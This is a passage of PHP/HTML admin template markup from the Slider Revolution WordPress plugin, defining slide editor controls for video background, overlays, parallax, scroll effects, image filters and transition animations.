						<longoption><i class="material-icons">loop</i><label_a ><?php _e('Loop Media', 'revslider');?></label_a><input type="checkbox" class="easyinit slideinput" id="sl_vid_loop_me" data-change="sl_vid_nextslide" data-changeto="false" data-changewhennot="false" data-r="bg.video.loop"></longoption>										
						<longoption><i class="material-icons">query_builder</i><label_a><?php _e('Start after Slide Transition', 'revslider');?></label_a><input type="checkbox"  id="sl_vid_after_slide_trans" class="slideinput easyinit" data-r="bg.video.startAfterTransition"/></longoption>
						<longoption><i class="material-icons">skip_next</i><label_a><?php _e('Next Slide at End', 'revslider');?></label_a><input type="checkbox"  id="sl_vid_nextslide" data-change="sl_vid_loop_me" data-changeto="false" data-changewhennot="false" class="slideinput easyinit" data-r="bg.video.nextSlideAtEnd" /></longoption>
						<longoption><i class="material-icons">fast_rewind</i><label_a><?php _e('Rewind at Start', 'revslider');?></label_a><input type="checkbox"  id="sl_vid_forceRewind" class="slideinput easyinit" data-r="bg.video.forceRewind" /></longoption>
						<div style="display:none !important"><longoption><i class="material-icons">volume_mute</i><label_a><?php _e('Mute at Start', 'revslider');?></label_a><input type="checkbox"  id="sl_vid_mute" class="slideinput easyinit" data-r="bg.video.mute" /></longoption></div>
						<div class="div15"></div>
						<row class="slidebg_youtube_settings slidebg_vimeo_settings slide_bg_settings directrow">
							<onelong><label_icon class="ui_volume"></label_icon><input id="slide_vid_vol" class="slideinput easyinit" type="text" data-r="bg.video.volume"></onelong>
							<oneshort><label_icon class="ui_speed"></label_icon><select data-theme="dark" id="slide_vid_speed" class="slideinput tos2 nosearchbox easyinit"  data-r="bg.video.speed"><option value="0.25">1/4</option><option value="0.50">1/2</option><option selected="selected" value="1">Normal</option><option value="1.5">x1.5</option><option value="2">x2</option></select></oneshort>
						</row>
						<row class="directrow">
							<onelong><label_icon class="ui_startat"></label_icon><input id="slide_vid_startat" class="slideinput easyinit" placeholder="00:00" type="text" data-r="bg.video.startAt"></onelong>
							<oneshort><label_icon class="ui_endat"></label_icon><input id="slide_vid_endat" class="slideinput easyinit" placeholder="00:00" type="text" data-r="bg.video.endAt"></oneshort>
						</row>
					</div>
					<div class="div15"></div>
					<div class="slidebg_youtube_settings slide_bg_settings"><label_a><?php _e('Arguments', 'revslider');?></label_a><input id="slide_vid_argsyt" class="slideinput easyinit" type="text" data-r="bg.video.args"><span class="linebreak"></span></div>
					<div class="slidebg_vimeo_settings slide_bg_settings"><label_a><?php _e('Arguments', 'revslider');?></label_a><input id="slide_vid_argvim" class="slideinput easyinit" type="text" data-r="bg.video.argsVimeo"><span class="linebreak"></span></div>
					<div class="div15"></div>
					<div class="slidebg_youtube_settings slidebg_vimeo_settings slidebg_html5_settings slide_bg_settings">
						<div class="form_inner_header" style="margin: 0px -20px 25px;"><i class="material-icons">chrome_reader_mode</i><span id="selected_slide_source"></span><?php _e('Overlay', 'revslider');?></div>
						<!-- SLIDE VIDEO OVERLAY -->
						<label_a><?php _e('Overlay', 'revslider');?></label_a><select data-evt="updateslidebasic" id="sl_vid_overlay" class="dottedoverlay slideinput tos2 nosearchbox easyinit callEvent" data-r="bg.video.dottedOverlay"></select>
						<label_a><?php _e('Overlay Size', 'revslider');?></label_a><input data-numeric="true" data-allowed="none" data-min="0"  data-r="bg.video.dottedOverlaySize" data-evt="drawBGOverlay"  type="text"  class="slideinput valueduekeyboard  easyinit callEvent" placeholder="none" >
						<label_a><?php _e('O. Color 1', 'revslider');?></label_a><input type="text" data-editing="Video Overlay Color 1" data-evt="updateslidebasic" name="slidebgoverlaycolor_a" id="slideoverlaybgcolor_a" class="my-color-field slideinput easyinit" data-visible="true" data-r="bg.video.dottedColorA" value="transparent">
						<label_a><?php _e('O. Color 2', 'revslider');?></label_a><input type="text" data-editing="Video Overlay Color 2" data-evt="updateslidebasic" name="slidebgoverlaycolor_b" id="slideoverlaybgcolor_b" class="my-color-field slideinput easyinit" data-visible="true" data-r="bg.video.dottedColorB" value="transparent">
					</div>
				</div>
			</div><!-- END OF SOURCE SETTINGS -->			
		</div>
	</div>

	<!-- SLIDE FILTERS -->
	<div class="form_collector slide_settings_collector" data-type="slideconfig" data-pcontainer="#slide_settings" data-offset="#rev_builder_wrapper">
		<div id="form_slide_onscroll"  class="formcontainer form_menu_inside collapsed" data-select="#gst_slide_12">
			<div class="collapsable">				
				<!-- GENERAL INFO IF NOTHING SET -->
				<div style="display:none">
					<div id="no_onscroll_on_slider">
						<div class="form_inner open">
							<div class="form_inner_header"><i class="material-icons">filter_9_plus</i><?php _e('On Scroll Details', 'revslider');?></div>
							<div class="collapsable">
								<row class="direktrow">
									<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
									<contenthalf><div id="onscroll_info" class="function_info"><?php _e('On Scroll can be Added per Slider in the General Options', 'revslider');?></div></contenthalf>
								</row>
							</div>
						</div>
					</div>
				</div>
				<!-- PARALLAX & 3D SETTINGS -->
				<div id="form_slidebg_pddd" class="form_inner open">
					<div class="form_inner_header"><i class="material-icons">filter_9_plus</i><?php _e('Parallax & 3D Settings', 'revslider');?></div>
					<!--<div class="form_intoaccordion" data-trigger="#sl_fbg_l1_4"><i class="material-icons">arrow_drop_down</i></div>-->
					<div class="collapsable">
						<div class="slider_ddd_subsettings">
							<label_a><?php _e('BG 3D Depth', 'revslider');?></label_a><input type="text" id="sr_paralaxlevel_16_slidebased" class="sliderinput easyinit smallinput callEvent" data-evt="updateParallaxdddBG" data-r="parallax.levels.15">
							<row class="direktrow">
								<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
								<contenthalf><div class="function_info"><?php _e('Global Value ! Option to find under Slider Settings - Parallax Tab', 'revslider');?></div></contenthalf>
							</row>
						</div>
						<div class="slide_parallax_wrap">
							<label_a><?php _e('Parallax Level', 'revslider');?></label_a><select data-theme="dark" id="slide_parallax_level" data-evt="enablePXModule" data-evtparam="slideparallax" class="slideinput tos2 nosearchbox easyinit prallaxlevelselect"  data-r="effects.parallax">
								<option value="-">No Parallax</option>
								<option value="1">1</option>
								<option value="2">2</option>
								<option value="3">3</option>
								<option value="4">4</option>
								<option value="5">5</option>
								<option value="6">6</option>
								<option value="7">7</option>
								<option value="8">8</option>
								<option value="9">9</option>
								<option value="10">10</option>
								<option value="11">11</option>
								<option value="12">12</option>
								<option value="13">13</option>
								<option value="14">14</option>
								<option value="15">15</option>
							</select>
						</div>
					</div>
				</div><!--END OF PARALLAX & 3D SETTINGS-->

				
				<!--<div class="all_sbe_dependencies">-->
					<div id="form_slidefilter_scrollbased" class="form_inner open">
						<div class="form_inner_header"><i class="material-icons">system_update_alt</i><?php _e('Scroll Effects', 'revslider');?></div>
						<div class="collapsable">					
							<label_a><?php _e('Fade', 'revslider');?></label_a><select data-theme="dark" data-evt="enableScrollEffectModule" data-evtparam="fade" id="slide_effectscroll_fade" class="slideinput tos2 nosearchbox easyinit callEvent"  data-r="effects.fade">
								<option value="default"><?php _e('Default', 'revslider');?></option>
								<option value="true"><?php _e('Enabled - Scroll Based', 'revslider');?></option>
								<option value="false"><?php _e('Disabled - Time Based', 'revslider');?></option>
							</select>
							<label_a><?php _e('Blur', 'revslider');?></label_a><select data-theme="dark" data-evt="enableScrollEffectModule" data-evtparam="blur" id="slide_effectscroll_blur" class="slideinput tos2 nosearchbox easyinit callEvent"  data-r="effects.blur">
								<option value="default"><?php _e('Default', 'revslider');?></option>
								<option value="true"><?php _e('Enabled - Scroll Based', 'revslider');?></option>
								<option value="false"><?php _e('Disabled - Time Based', 'revslider');?></option>
							</select>
							<label_a><?php _e('Grayscale', 'revslider');?></label_a><select data-theme="dark" data-evt="enableScrollEffectModule" data-evtparam="grayscale" id="slide_effectscroll_grayscale" class="slideinput tos2 nosearchbox easyinit callEvent"  data-r="effects.grayscale">
								<option value="default"><?php _e('Default', 'revslider');?></option>
								<option value="true"><?php _e('Enabled - Scroll Based', 'revslider');?></option>
								<option value="false"><?php _e('Disabled - Time Based', 'revslider');?></option>
							</select>
						</div>
					</div>
				<!--</div>-->
			</div>
		</div>
	</div>


	<!-- SLIDE FILTERS -->
	<div class="form_collector slide_settings_collector" data-type="slideconfig" data-pcontainer="#slide_settings" data-offset="#rev_builder_wrapper">
		<div id="form_slidebg_filters"  class="formcontainer form_menu_inside collapsed" data-select="#gst_slide_5"  >
			<!--<div class="collectortabwrap"><div id="collectortab_form_slidebg_filters" class="collectortab form_menu_inside" data-forms='["#form_slidebg_filters"]'><i class="material-icons">blur_on</i><?php _e('Filters', 'revslider');?></div></div>-->
			<!-- FILTER SETTINGS -->
			<div id="form_slidebg_filters_int" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">blur_on</i><?php _e('Filters', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sl_fbg_l1_3"><i class="material-icons">arrow_drop_down</i></div>-->
				<div class="collapsable">
					<label_a><?php _e('BG Filter', 'revslider');?></label_a><select data-theme="dark" id="slide_bg_filter" class="slideinput tos2 nosearchbox easyinit" data-evtparam="double" data-show=".*val*_warning" data-hide=".filter_warning" data-evt="updateslidebasic" data-unselect=".filter_selector" data-select="#filter_*val*"  data-r="bg.mediaFilter">
								<option value="none">No Filter</option>
									<option value="_1977">1977</option>
									<option value="aden">Aden</option>
									<option value="brooklyn">Brooklyn</option>
									<option value="clarendon">Clarendon</option>
									<option value="earlybird">Earlybird</option>
									<option value="gingham">Gingham</option>
									<option value="hudson">Hudson</option>
									<option value="inkwell">Inkwell</option>
									<option value="lark">Lark</option>
									<option value="lofi">Lo-Fi</option>
									<option value="mayfair">Mayfair</option>
									<option value="moon">Moon</option>
									<option value="nashville">Nashville</option>
									<option value="perpetua">Perpetua</option>
									<option value="reyes">Reyes</option>
									<option value="rise">Rise</option>
									<option value="slumber">Slumber</option>
									<option value="toaster">Toaster</option>
									<option value="walden">Walden</option>
									<option value="willow">Willow</option>
									<option value="xpro2">X-pro II</option>
							</select><span class="linebreak"></span>
					<div id="inst-filter-grid">
						<div id="filter_none" data-val="none" data-hoverevtparam="none" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_none inst-filter-griditem" data-name="No Filter"><div class="inst-filter-griditem-img none"></div></div><!--
						--><div id="filter__1977" data-val="_1977" data-hoverevtparam="_1977" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter__1977 inst-filter-griditem " data-name="1977"><div class="inst-filter-griditem-img _1977"></div></div><!--
						--><div id="filter_aden" data-val="aden" data-hoverevtparam="aden" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_aden inst-filter-griditem " data-name="Aden"><div class="inst-filter-griditem-img aden"></div></div><!--
						--><div id="filter_brooklyn" data-val="brooklyn" data-hoverevtparam="brooklyn" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_brooklyn inst-filter-griditem " data-name="Brooklyn"><div class="inst-filter-griditem-img brooklyn"></div></div><!--
						--><div id="filter_clarendon" data-val="clarendon" data-hoverevtparam="clarendon" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_clarendon inst-filter-griditem " data-name="Clarendon"><div class="inst-filter-griditem-img clarendon"></div></div><!--
						--><div id="filter_earlybird" data-val="earlybird" data-hoverevtparam="earlybird" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_earlybird inst-filter-griditem " data-name="Earlybird"><div class="inst-filter-griditem-img earlybird"></div></div><!--
						--><div id="filter_gingham" data-val="gingham" data-hoverevtparam="gingham" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_gingham inst-filter-griditem " data-name="Gingham"><div class="inst-filter-griditem-img gingham"></div></div><!--
						--><div id="filter_hudson" data-val="hudson" data-hoverevtparam="hudson" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_hudson inst-filter-griditem " data-name="Hudson"><div class="inst-filter-griditem-img hudson"></div></div><!--
						--><div id="filter_inkwell" data-val="inkwell" data-hoverevtparam="inkwell" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_inkwell inst-filter-griditem " data-name="Inkwell"><div class="inst-filter-griditem-img inkwell"></div></div><!--
						--><div id="filter_lark" data-val="lark" data-hoverevtparam="lark" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_lark inst-filter-griditem " data-name="Lark"><div class="inst-filter-griditem-img lark"></div></div><!--
						--><div id="filter_lofi" data-val="lofi" data-hoverevtparam="lofi" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_lofi inst-filter-griditem " data-name="Lo-Fi"><div class="inst-filter-griditem-img lofi"></div></div><!--
						--><div id="filter_mayfair" data-val="mayfair" data-hoverevtparam="mayfair" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_mayfair inst-filter-griditem " data-name="Mayfair"><div class="inst-filter-griditem-img mayfair"></div></div><!--
						--><div id="filter_moon" data-val="moon" data-hoverevtparam="moon" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_moon inst-filter-griditem " data-name="Moon"><div class="inst-filter-griditem-img moon"></div></div><!--
						--><div id="filter_nashville" data-val="nashville" data-hoverevtparam="nashville" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_nashville inst-filter-griditem " data-name="Nashville"><div class="inst-filter-griditem-img nashville"></div></div><!--
						--><div id="filter_perpetua" data-val="perpetua" data-hoverevtparam="perpetua" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_perpetua inst-filter-griditem " data-name="Perpetua"><div class="inst-filter-griditem-img perpetua"></div></div><!--
						--><div id="filter_reyes" data-val="reyes" data-hoverevtparam="reyes" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_reyes inst-filter-griditem " data-name="Reyes"><div class="inst-filter-griditem-img reyes"></div></div><!--
						--><div id="filter_rise" data-val="rise" data-hoverevtparam="rise" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_rise inst-filter-griditem " data-name="Rise"><div class="inst-filter-griditem-img rise"></div></div><!--
						--><div id="filter_slumber" data-val="slumber" data-hoverevtparam="slumber" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_slumber inst-filter-griditem " data-name="Slumber"><div class="inst-filter-griditem-img slumber"></div></div><!--
						--><div id="filter_toaster" data-val="toaster" data-hoverevtparam="toaster" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_toaster inst-filter-griditem " data-name="Toaster"><div class="inst-filter-griditem-img toaster"></div></div><!--
						--><div id="filter_walden" data-val="walden" data-hoverevtparam="walden" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_walden inst-filter-griditem " data-name="Walden"><div class="inst-filter-griditem-img walden"></div></div><!--
						--><div id="filter_willow" data-val="willow" data-hoverevtparam="willow" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_willow inst-filter-griditem " data-name="Willow"><div class="inst-filter-griditem-img willow"></div></div><!--
						--><div id="filter_xpro2" data-val="xpro2" data-hoverevtparam="xpro2" data-leaveevtparam="double" data-leaveevt="updateslidebasic" data-select="#slide_bg_filter" data-hoverevt="showSlideFilter" class="filter_selector callhoverevt triggerselect filter_xpro2 inst-filter-griditem " data-name="X-pro"><div class="inst-filter-griditem-img xpro2"></div></div>
					</div>
					<div class="div25"></div>					
					<row class="direktrow filter_warning earlybird_warning, lark_warning moon_warning toaster_warning willow_warning xpro2_warning">
						<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
						<contenthalf><div class="function_info"><?php _e('The Filter may not work with HTML5 Videos in Internet Explorer and Edge Browsers', 'revslider');?></div></contenthalf>
					</row>
					
				</div><!-- END OF COLLAPSABLE -->
			</div><!-- END OF FILTER SETTINGS -->
		</div>
	</div>

	<!-- SLIDE ANIMATION SETTINGS-->
	<div class="form_collector slide_settings_collector" data-type="slideconfig" data-pcontainer="#slide_settings" data-offset="#rev_builder_wrapper">
		<div id="form_slide_transition"  class="formcontainer form_menu_inside collapsed" data-select="#gst_slide_2" >
			<!--<div class="collectortabwrap"><div id="collectortab_form_slide_transition" class="collectortab form_menu_inside" data-forms='["#form_slidebg_transition"]'><?php _e('Animation', 'revslider');?></div></div>			-->
			<!--<div class="form_intoaccordion"><i class="material-icons">arrow_drop_down</i></div>-->

			<!--  SLIDE ANIMATION & PRESETS -->
			<div id="form_slidebg_transition" class="form_inner">
				<div class="form_inner_header"><i class="material-icons">photo_filter</i><?php _e('Transition Presets', 'revslider');?></div>
				<div class="collapsable" style="display:block">	
					<div id="active_transitions" class="saw_cells">						
						<div id="active_transitions_innerwrap"></div>	
						<longoption class="centered_longoption" id="sl_trans_favorit"><i class="material-icons">star</i><label_a><?php _e('Show Only Favorites', 'revslider');?></label_a><input type="checkbox" id="sl_trans_favorit_inp" class="easyinit slideinput callEvent" data-evt="updateSlideAnimationFavoits" data-r="slideChange.favorit"></longoption>
						<div class="div20"></div>					
						<div class="presets_liste" id="active_transitions_innerwrap_results"></div>						
						<div class="tp-clearfix"></div>
						<div id="transition_selector" style="display:none"></div>
					</div>														
				</div>
			</div>
			<!-- ADVANCED SETTINGS FOR ANIMATION -->
			<div id="form_sanimation_sframes_advanced" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">tune</i><?php _e('Advanced', 'revslider');?></div>
				<div id="form_sanimation_sframes_innerwrap" class="collapsable">
					
				
					<!-- LAYER FRAME TRANSFORM  -->
					<div id="slide_maintranssettings_wrap" class="slide_transsettings_wrap">
						<div id="slidebasic_ts_wrapbrtn" class="ts_wrapbrtn"><div data-showtrans="#slide_transsettings" data-frametarget="slide" class="transtarget_selector selected" ><?php _e('Timing', 'revslider');?></div></div><!--
						--><div style="display:inline-block"><div id="slidein_ts_wrapbrtn" class="ts_wrapbrtn"><div data-showtrans="#slidein_transsettings" class="transtarget_selector" ><?php _e('In', 'revslider');?></div></div></div><!--
						--><div style="display:inline-block"><div id="slideout_ts_wrapbrtn" class="ts_wrapbrtn"><div data-showtrans="#slideout_transsettings" class="transtarget_selector"><?php _e('Out', 'revslider');?></div></div></div><!--
						--><div style="display:inline-block"><div id="slidefilter_ts_wrapbrtn" class="ts_wrapbrtn"><div data-showtrans="#slidefilter_transsettings" class="transtarget_selector"><?php _e('Filters', 'revslider');?></div></div></div><!--
						--><div style="display:inline-block"><div id="slide3d_ts_wrapbrtn" class="ts_wrapbrtn"><div data-showtrans="#slide3d_transsettings" class="transtarget_selector"><?php _e('3D', 'revslider');?></div></div></div><!--						
					--></div>
					<div class="div20"></div>
					<!-- SLIDE IN TRANSFORMATIONS -->
					<div id="slide_transsettings" class="group_transsettings">
						<div style="display:none"><label_a><?php _e('Effect', 'revslider');?></label_a><select id="sltrans_effect" data-showprio="hide" data-show="._ST_*val*_SHOW, ._ST_ALL" data-hide="._ST_*val*_HIDE" class="slideinput tos2 nosearchbox easyinit callEvent" data-evt="updateSlideAnimationView" data-r="slideChange.e" data-theme="dark">
							<option value="none"><?php _e('None', 'revslider');?></option>
							<option value="basic"><?php _e('Basic Transforms', 'revslider');?></option>								
							<option value="slidingoverlay"><?php _e('Sliding Overlays', 'revslider');?></option>								
							</select>
						</div>
						<div id="sltrans_all_globals">
							<div id="slideframespeed_wrap"><label_a><?php _e('Duration', 'revslider');?></label_a><input id="sltrans_duration" class="callEvent withsuffix slideinput valueduekeyboard smallinput easyinit input_with_presets" data-suffix="ms" data-numeric="true" data-allowed="default,ms" data-presets_text="$C$1000ms!$I$Default" data-presets_val="1000!default" data-evt="updateSlideTransitionTimeLine" data-r="slideChange.speed" data-steps="300" type="text"><div id="slideframespeed_sub"></div></div>
							<div id="sltrans_pause">
								<label_a><?php _e('Pause Between', 'revslider');?></label_a><select id="sltrans_breaking" class="slideinput tos2 nosearchbox easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom" data-r="slideChange.p" data-theme="dark">
									<option value="none"><?php _e('No Pause', 'revslider');?></option>
									<option value="dark"><?php _e('Pause with Dark Background', 'revslider');?></option>
									<option value="light"><?php _e('Pause with Light Background', 'revslider');?></option>
									<option value="transparent"><?php _e('Pause with Transparent BG', 'revslider');?></option>									
								</select><span class="linebreak"></span>
							</div>
							<div id="sltrans_flow">
								<label_a><?php _e('Flow', 'revslider');?></label_a><select id="sltrans_from" class="slideinput tos2 nosearchbox easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-showprio="hide" data-show="._STFD_ALL" data-hide="._STFD_*val*_HIDE" data-r="slideChange.f" data-theme="dark">
									<option value="default"><?php _e('Default', 'revslider');?></option>
									<option value="start"><?php _e('Forwards', 'revslider');?></option>
									<option value="end"><?php _e('Backwards', 'revslider');?></option>
									<option value="center"><?php _e('From Center', 'revslider');?></option>
									<option value="edges"><?php _e('From Edges', 'revslider');?></option>
									<option value="slidebased"><?php _e('Slide Direction Based', 'revslider');?></option>
									<option value="oppslidebased"><?php _e('Mirror Slide Direction', 'revslider');?></option>
									<option value="nodelay"><?php _e('No Delays', 'revslider');?></option>
									<option value="random"><?php _e('Random', 'revslider');?></option>
								</select><span class="linebreak"></span>
								<div class="_STFD_nodelay_HIDE _STFD_ALL"><label_a><?php _e('Flow Speed', 'revslider');?></label_a><input id="sltrans_fromdelay" class="slideinput valueduekeyboard smallinput easyinit callEvent" data-allowed="" data-evt="updateSlideTransitionTimeLine" data-numeric="true" data-r="slideChange.d" data-min="5" data-max="100"  type="text"></div>
								<label_a><?php _e('Index Order', 'revslider');?></label_a><select id="sltrans_order" class="slideinput tos2 nosearchbox easyinit callEvent" data-evt="updateSlideAnimation"  data-evtparam="tocustom"  data-r="slideChange.o" data-theme="dark">
									<option value="inout"><?php _e('Auto / Default', 'revslider');?></option>
									<option value="forceinout"><?php _e('In Over Out', 'revslider');?></option>
									<option value="outin"><?php _e('Out over In', 'revslider');?></option>
								</select><span class="linebreak"></span>
							</div>
						</div>
					</div>
					<!-- SLIDE IN TRANSFORMATIONS -->
					<div id="slidein_transsettings" class="group_transsettings" style="display:none">
						<!-- TRANSFORM IN BASIC SETTINGS-->
						<div id="sltrans_in_full_wrap">							
							<row class="direktrow" id="sltrans_in_rowcol_wrap">
								<onelong><label_a><?php _e('Cols', 'revslider');?></label_a><input id="sltrans_in_col" class="slideinput valueduekeyboard smallinput easyinit input_with_presets callEvent" data-evt="colrowslideanimchange" data-numeric="true" data-allowed="random,default" data-presets_text="$C$1!$C$2!$C$5!$C$10!$R$Random!$I$Default" data-presets_val="1!2!5!10!random!default!"  data-r="slideChange.in.col" data-evtparam="in.col" data-steps="0" data-min="1" data-max="500"  type="text"></onelong>
								<oneshort><label_a style="overflow:visible"><?php _e('Rows', 'revslider');?></label_a><input id="sltrans_in_row" class="slideinput valueduekeyboard smallinput easyinit input_with_presets callEvent" data-evt="colrowslideanimchange" data-numeric="true" data-allowed="random,default" data-presets_text="$C$1!$C$2!$C$5!$C$10!$R$Random!$I$Default" data-presets_val="1!2!5!10!random!default!"  data-evtparam="in.row" data-r="slideChange.in.row" data-steps="1" data-min="0" data-max="500"  type="text"></oneshort>						
							</row>
							<div id="sltrans_in_ease_wrap"><label_a><?php _e('Ease', 'revslider');?></label_a><select id="sltrans_in_ease" class="slideinput tos2 nosearchbox easyinit easingSelect callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-r="slideChange.in.e" data-theme="dark"></select></div>
							<row class="direktrow" id="sltrans_in_mamo_wrap">
								<onelong id="sltrans_in_mask_wrap"><label_a><?php _e('Mask', 'revslider');?></label_a><input type="checkbox" class="easyinit slideinput callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-r="slideChange.in.m"></onelong>
								<oneshort id="sltrans_in_motionswitch_wrap"><label_a style="overflow: visible;margin-left: -12px;margin-right: 22px;"><?php _e('Motion', 'revslider');?></label_a><input type="checkbox" data-change="sltrans_in_fade" data-changeto='0' data-changewhen="true" data-disable="#sltrans_in_opa_wrap" data-enable="#sltrans_in_motion_wrap" data-showhide="#sltrans_in_motion_overlay_wrap" data-showhidedep="true" data-disableenable="switch" class="easyinit slideinput callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-r="slideChange.in.mou"></oneshort>
							</row>
							<row class="direktrow" id="sltrans_in_xy_wrap">				
								<onelong class="dyn_inp_wrap" id="sltrans_in_x_wrap"><label_icon class="ui_x"></label_icon><input id="sltrans_in_x" class="rsdyn_inp slideinput valueduekeyboard smallinput easyinit input_with_presets callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-numeric="true" data-allowed="%,random,cycle,dir" data-presets_text="val - Standard!{min,max} - Random![val|val|val] - Cycles!(val) - Direction Based" data-presets_val="100%!{-20,20}![-50|50]!(100%)" data-r="slideChange.in.x" data-steps="1" data-min="-300" data-max="300" type="text"></onelong>
								<oneshort class="dyn_inp_wrap" id="sltrans_in_y_wrap"><label_icon class="ui_y"></label_icon><input id="sltrans_in_y" class="rsdyn_inp slideinput valueduekeyboard smallinput easyinit input_with_presets callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-numeric="true" data-allowed="%,random,cycle,dir" data-presets_text="val - Standard!{min,max} - Random![val|val|val] - Cycles!(val) - Direction Based" data-presets_val="100%!{-20,20}![-50|50]!(100%)" data-r="slideChange.in.y" data-steps="1" data-min="-300" data-max="300" type="text"></oneshort>						
							</row>
							<row class="direktrow"  id="sltrans_in_rzo_wrap">				
								<onelong class="dyn_inp_wrap" id="sltrans_in_rota_wrap"><label_icon class="ui_rotatez"></label_icon><input id="sltrans_in_rotation" class="rsdyn_inp slideinput valueduekeyboard smallinput easyinit input_with_presets callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom" data-numeric="true" data-allowed="deg,random,cycle,dir" data-presets_text="deg - Standard!{min,max} - Random![val|val|val] - Cycles!(val) - Direction Based" data-presets_val="45deg!{-20,20}![-50|50]!(45deg)" data-r="slideChange.in.r" data-steps="45" type="text"></onelong>
								<oneshort id="sltrans_in_opa_wrap"><label_icon class="ui_opacity"></label_icon><input id="sltrans_in_fade" class="slideinput valueduekeyboard smallinput easyinit callEvent" data-evt="updateSlideAnimation"   data-numeric="true" data-allowed="." data-r="slideChange.in.o" data-steps="0.1" data-min="-3" data-max="1" type="text"></oneshort>
							</row>
							<row class="direktrow" id="sltrans_in_sxsy_wrap">
								<onelong class="dyn_inp_wrap" id="sltrans_in_sx_wrap"><label_icon class="ui_scalex"></label_icon><input id="sltrans_in_scalex" class="rsdyn_inp slideinput valueduekeyboard smallinput easyinit input_with_presets callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-numeric="true" data-allowed=".,random,cycle" data-presets_text="val - Standard!{min,max} - Random![val|val|val] - Cycles" data-presets_val="1.5!{0,3}![0.3|1.5]" data-r="slideChange.in.sx" data-steps="0.1" data-min="0" data-max="500" type="text"></onelong>
								<oneshort class="dyn_inp_wrap" id="sltrans_in_sy_wrap"><label_icon class="ui_scaley"></label_icon><input id="sltrans_in_scaley" class="rsdyn_inp slideinput valueduekeyboard smallinput easyinit input_with_presets callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-numeric="true" data-allowed=".,random,cycle" data-presets_text="val - Standard!{min,max} - Random![val|val|val] - Cycles" data-presets_val="1.5!{0,3}![0.3|1.5]" data-r="slideChange.in.sy" data-steps="0.1" data-min="0" data-max="500" type="text"></oneshort>						
							</row>
							<row class="direktrow"  id="sltrans_in_motionand_wrap">				
								<onelong class="dyn_inp_wrap" id="sltrans_in_motion_wrap"><i class="label_icon material-icons">blur_linear</i><input id="sltrans_filter_motion" class="slideinput valueduekeyboard smallinput easyinit callEvent" data-evt="updateSlideAnimation" data-evtparam="tocustom"  data-numeric="true" data-allowed="px" data-min="0" data-max="100" data-r="slideChange.in.mo" type="text"></onelong>
								<oneshort></oneshort>
							</row>				
							<row id="sltrans_in_motion_overlay_wrap"><label_a><?php _e('Overlay', 'revslider');?></label_a><select
